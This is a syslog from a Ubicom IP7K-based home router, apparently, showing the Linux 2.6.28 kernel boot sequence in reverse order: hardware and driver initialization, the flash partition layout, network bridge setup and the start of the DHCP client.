Jun 5 20:56:03 info [ 17.130000] ADDRCONF(NETDEV_CHANGE): lo: link becomes ready
Jun 5 20:56:02 info DHCP client start.
Jun 5 20:56:01 info [Initialized, firmware version: 2.09 ]
Jun 5 20:56:00 info [ 9.840000] br0: port 1(eth0.2) entering learning state
Jun 5 20:56:00 info [ 9.800000] device eth0.2 entered promiscuous mode
Jun 5 20:56:00 info [ 9.080000] device eth0 entered promiscuous mode
Jun 5 20:56:00 info [ 4.250000] eth0: register VLAN for HW acceleration
Jun 5 20:56:00 info [ 4.240000] eth open eth0
Jun 5 20:56:00 notice [ 3.980000] Freeing unused kernel memory: 5372k freed (0x403ba000 - 0x408f8000)
Jun 5 20:56:00 info [ 3.970000] All bugs added by David S. Miller '[email protected]'
Jun 5 20:56:00 info [ 3.970000] 802.1Q VLAN Support v1.8 Ben Greear '[email protected]'
Jun 5 20:56:00 info [ 3.970000] NET: Registered protocol family 17
Jun 5 20:56:00 info [ 3.970000] IPv6 over IPv4 tunneling driver
Jun 5 20:56:00 info [ 3.970000] ip6_tables: (C) 2000-2006 Netfilter Core Team
Jun 5 20:56:00 info [ 3.970000] NET: Registered protocol family 10
Jun 5 20:56:00 info [ 3.970000] TCP cubic registered
Jun 5 20:56:00 info [ 3.970000] ip_tables: (C) 2000-2006 Netfilter Core Team
Jun 5 20:56:00 info [ 3.970000] IPv4 over IPv4 tunneling driver
Jun 5 20:56:00 info [ 3.940000] usbcore: registered new interface driver libusual
Jun 5 20:56:00 info [ 3.940000] ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
Jun 5 20:56:00 info [ 3.940000] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
Jun 5 20:56:00 notice [ 3.930000] 6 cmdlinepart partitions found on MTD device ubicom32_boot_flash
Jun 5 20:56:00 info [ 3.930000] ubicom32flashdriver ubicom32flashdriver: mx25l64 (8192 Kbytes)
Jun 5 20:56:00 info [ 3.930000] eth_wan does not exist
Jun 5 20:56:00 info [ 3.930000] eth0 vp_base:0x3fffbb6c, tio_int:11 irq:23 feature:0x180
Jun 5 20:56:00 info [ 3.930000] usbcore: registered new interface driver rndis_host
Jun 5 20:56:00 info [ 3.930000] usbcore: registered new interface driver cdc_ether
Jun 5 20:56:00 info [ 3.930000] usbcore: registered new interface driver asix
Jun 5 20:56:00 info [ 3.930000] NET: Registered protocol family 24
Jun 5 20:56:00 info [ 3.930000] PPP MPPE Compression module registered
Jun 5 20:56:00 info [ 3.930000] PPP BSD Compression module registered
Jun 5 20:56:00 info [ 3.930000] PPP Deflate Compression module registered
Jun 5 20:56:00 info [ 3.930000] PPP generic driver version 2.4.2
Jun 5 20:56:00 info [ 3.930000] brd: module loaded
Jun 5 20:56:00 info [ 3.810000] ttyUM0 at MMIO 0x1000300 (irq = 62) is a UBI32_MAILBOX
Jun 5 20:56:00 info [ 3.810000] Serial: Ubicom32 mailbox serial driver.
Jun 5 20:56:00 info [ 3.810000] ubicom32 rng init
Jun 5 20:56:00 info [ 3.810000] ubicom32 rng started
Jun 5 20:56:00 info [ 3.810000] N_HDLC line discipline registered.
Jun 5 20:56:00 info [ 3.810000] HDLC line discipline: version $Revision: 4.8 $, maxframe=4096
Jun 5 20:56:00 info [ 3.590000] io scheduler noop registered (default)
Jun 5 20:56:00 info [ 3.590000] alg: No test for stdrng (krng)
Jun 5 20:56:00 info [ 3.590000] msgmni has been set to 107
Jun 5 20:56:00 info [ 3.590000] JFFS2 version 2.2. (NAND) © 2001-2006 Red Hat, Inc.
Jun 5 20:56:00 info [ 3.590000] Registering unionfs 2.5.1 (for 2.6.28.1)
Jun 5 20:56:00 info [ 3.590000] ar8316 (ID=0x004dd041) switch chip initialized
Jun 5 20:56:00 info [ 3.590000] Registered switch device: ar8316-smi
Jun 5 20:56:00 info [ 3.420000] input: Ubicom32 Input as /class/input/input0
Jun 5 20:56:00 info [ 3.420000] ipProfile (profiling) is not enabled in Ultra. Profiler /proc interface is disabled.
Jun 5 20:56:00 info [ 0.380000] NET: Registered protocol family 1
Jun 5 20:56:00 info [ 0.380000] /proc/ttl_ipmr created
Jun 5 20:56:00 info [ 0.350000] TCP reno registered
Jun 5 20:56:00 info [ 0.350000] TCP: Hash tables configured (established 2048 bind 2048)
Jun 5 20:56:00 info [ 0.350000] TCP bind hash table entries: 2048 (order: 1, 8192 bytes)
Jun 5 20:56:00 info [ 0.350000] TCP established hash table entries: 2048 (order: 2, 16384 bytes)
Jun 5 20:56:00 info [ 0.350000] /proc/ttl_ipv4 created
Jun 5 20:56:00 info [ 0.350000] IP route cache hash table entries: 1024 (order: 0, 4096 bytes)
Jun 5 20:56:00 debug [ 0.270000] Switched to high resolution mode on CPU 0
Jun 5 20:56:00 notice [ 0.270000] timer[34]: oneshot
Jun 5 20:56:00 info [ 0.260000] NET: Registered protocol family 2
Jun 5 20:56:00 info [ 0.220000] hub 1-0:1.0: 1 port detected
Jun 5 20:56:00 info [ 0.220000] hub 1-0:1.0: USB hub found
Jun 5 20:56:00 info [ 0.220000] usb usb1: configuration #1 chosen from 1 choice
Jun 5 20:56:00 info [ 0.220000] musb_hdrc musb_hdrc.0: new USB bus registered, assigned bus number 1
Jun 5 20:56:00 info [ 0.220000] musb_hdrc musb_hdrc.0: MUSB HDRC host driver
Jun 5 20:56:00 info [ 0.220000] musb_hdrc: USB Host mode controller at 02009800 using PIO, IRQ 13
Jun 5 20:56:00 debug [ 0.220000] musb_hdrc: hw_ep 5shared, max 64
Jun 5 20:56:00 debug [ 0.220000] musb_hdrc: hw_ep 4shared, max 512
Jun 5 20:56:00 debug [ 0.220000] musb_hdrc: hw_ep 3shared, max 512
Jun 5 20:56:00 debug [ 0.220000] musb_hdrc: hw_ep 2shared, max 1024
Jun 5 20:56:00 debug [ 0.220000] musb_hdrc: hw_ep 1shared, max 16
Jun 5 20:56:00 debug [ 0.220000] musb_hdrc: hw_ep 0shared, max 64
Jun 5 20:56:00 debug [ 0.220000] musb_hdrc: MHDRC RTL version 2.0
Jun 5 20:56:00 debug [ 0.220000] musb_hdrc: ConfigData=0x22 (UTMI-8, SoftConn)
Jun 5 20:56:00 info [ 0.220000] musb_hdrc: version 6.0, pio, host, debug=0
Jun 5 20:56:00 info [ 0.220000] usbcore: registered new device driver usb
Jun 5 20:56:00 info [ 0.220000] usbcore: registered new interface driver hub
Jun 5 20:56:00 info [ 0.220000] usbcore: registered new interface driver usbfs
Jun 5 20:56:00 notice [ 0.220000] SCSI subsystem initialized
Jun 5 20:56:00 info [ 0.220000] PCI: bus0: Fast back to back transfers enabled
Jun 5 20:56:00 info [ 0.220000] pci 0000:00:00.0: PME# disabled
Jun 5 20:56:00 info [ 0.220000] pci 0000:00:00.0: PME# supported from D0 D3hot
Jun 5 20:56:00 debug [ 0.220000] pci 0000:00:00.0: reg 10 32bit mmio: [0x000000-0x00ffff]
Jun 5 20:56:00 info [ 0.220000] ubicom32_flash_init(): registering device resources
Jun 5 20:56:00 info [ 0.220000] ip7160rgw_init: registering SPI resources
Jun 5 20:56:00 info [ 0.220000] ip7160rgw_init: registering device resources
Jun 5 20:56:00 info [ 0.220000] Ubicom GPIO Controller
Jun 5 20:56:00 info [ 0.220000] NET: Registered protocol family 16
Jun 5 20:56:00 info [ 0.220000] net_namespace: 708 bytes
Jun 5 20:56:00 info [ 0.220000] OCM Instruction Heap 57 KB
Jun 5 20:56:00 info [ 0.020000] Calibrating delay loop... 199.47 BogoMIPS (lpj=997376)
Jun 5 20:56:00 info [ 0.020000] Memory available: 55148k/64752k RAM, (2319k kernel code, 5902k data)
Jun 5 20:56:00 info [ 0.020000] Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)
Jun 5 20:56:00 info [ 0.010000] Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)
Jun 5 20:56:00 info [ 0.000000] console [ttyUM0] enabled
Jun 5 20:56:00 notice [ 0.000000] timer[34]: periodic: 5000000 cycles
Jun 5 20:56:00 notice [ 0.000000] timer[34]: shutdown
Jun 5 20:56:00 notice [ 0.000000] timer[34]: timer-primary - created
Jun 5 20:56:00 notice [ 0.000000] Kernel command line: console=ttyUM0 console=ttyUS0 serdes=0x02004000,61,250000000 mtdparts=ubicom32_boot_flash:128k(bootloader),7360k(upgrade),384k(jffs2),64k(fw_env),192k(language_pack),64k(artblock)
Jun 5 20:56:00 debug [ 0.000000] Movable zone: 0 pages used for memmap
Jun 5 20:56:00 debug [ 0.000000] Normal zone: 16319 pages, LIFO batch:3
Jun 5 20:56:00 debug [ 0.000000] Normal zone: 129 pages used for memmap
Jun 5 20:56:00 debug [ 0.000000] DMA zone: 59 pages, LIFO batch:0
Jun 5 20:56:00 debug [ 0.000000] DMA zone: 0 pages reserved
Jun 5 20:56:00 debug [ 0.000000] DMA zone: 1 pages used for memmap
Jun 5 20:56:00 debug [ 0.000000] free_area_init_node: node 0, pgdat 403b5e58, node_mem_map 4095b800
Jun 5 20:56:00 debug [ 0.000000] On node 0 totalpages: 16508
Jun 5 20:56:00 info [ 0.000000] 3fffbbcc: sendirq=021, recvirq=013, name=usbtio
Jun 5 20:56:00 info [ 0.000000] 3fffbc44: sendirq=255, recvirq=001, name=traps
Jun 5 20:56:00 info [ 0.000000] 3fffbaac: sendirq=255, recvirq=255, name=processor
Jun 5 20:56:00 info [ 0.000000] 3fffbb18: sendirq=010, recvirq=022, name=pci
Jun 5 20:56:00 info [ 0.000000] 3fffbb6c: sendirq=011, recvirq=023, name=eth_lan
Jun 5 20:56:00 info [ 0.000000] 3fffbc8c: sendirq=255, recvirq=255, name=bootargs
Jun 5 20:56:00 info [ 0.000000] 3fffbed0: sendirq=255, recvirq=255, name=board
Jun 5 20:56:00 info [ 0.000000] Device Tree:
Jun 5 20:56:00 info [ 0.000000] IP7K Processor, Ubicom, Inc. 'www.ubicom.com'
Jun 5 20:56:00 info [ 0.000000] updating range registers for expanded dram
Jun 5 20:56:00 info [ 0.000000] processor ocm 3ffc1f00-3fff4d00, expecting 3ffc1f00-3fff4d00
Jun 5 20:56:00 notice [ 0.000000] Linux version 2.6.28.10 (vicchang@vicchang-desktop) (gcc version 4.4.1 20100320 (stable) (GCC) ) #8 Fri Jul 19 12:16:19 CST 2013
Jun 5 20:56:00 notice klogd started: BusyBox v1.14.1 (2013-07-19 10:57:56 CST)
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